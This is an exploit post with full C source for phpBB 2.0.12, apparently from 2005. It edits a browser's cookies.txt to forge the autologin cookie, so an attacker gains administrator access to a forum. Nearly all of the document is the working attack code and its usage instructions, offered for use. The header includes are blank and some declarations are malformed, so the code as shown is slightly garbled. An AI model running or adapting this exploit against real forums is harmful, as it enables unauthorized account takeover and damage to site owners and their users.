I made this exploit for get admin permissions in forums phpbb2 2.0.12. It requires mozilla or firefox installed. The instructions are in the exploit.

Byes

/*
Author: Paisterist
Date: 28-02-05
[N]eo [S]ecurity [T]eam ©

Description: this exploit modify the user id that is in your cookies.txt (Firefox and Mozilla) file. 
You have to log in the forum, with the autologin option unchecked, then you close the navigator and 
execute the exploit.
If you have any problem with the exploit, remove all cookies and do all again.

Note: you have to put the exploit in the same directory of cookies.txt.
This exploit overwrite all phpbb cookies that have the user id specified.

I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS DISCOVERED IT.

By Paisterist

http://neosecurityteam.net 
http://neosecurityteam.tk 

Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx, Arcanhell, Alluz.
*/
#include 
#include 
#include 

int main(int argc, char** argv[]) {
    FILE *pointer;
    char contenido[10000],
    cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22", 
    cookief[9]="%22%3B%7D", cookiec[106],
    cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D",
    *pos;
    int p=0, i=0;
    
    if (argc!=2) {
       printf("Usage: phpbb_exploit.exe user_id\n\n");
       exit(0);
    }
    pointer=fopen("cookies.txt", "r");
    
    if (pointer) {
       fread(contenido, 300, 10, pointer);
       fclose(pointer);
    } else {
           printf("The file can't be open\n");
           exit(0);
    }
    
    strcpy(cookiec, cookie);
    strncat(cookiec, argv[1], 6);
    strcat(cookiec, cookief);
    
    if (pos=strstr(contenido, cookiec)) {
    p=pos - contenido;
        while (i<92) {
              if (cookie_false[i]!=NULL) 
        contenido[p]=cookie_false[i];
        p++;
        i++;
        }
    }
    else {
         printf("The file cookies.txt isn't valid for execute the exploit or the user id is incorrect\n");
         exit(0);
    }
        
    if (pointer=fopen("cookies.txt", "w")) {
    fputs(contenido, pointer);
    printf("Cookie modified: \n\n%s\n\n", contenido);
    printf("The cookies file has overwriten... looks like the exploit has worked");
    } else printf("\n\nThe file cookies.txt has not write permissions.");
    return 0;
}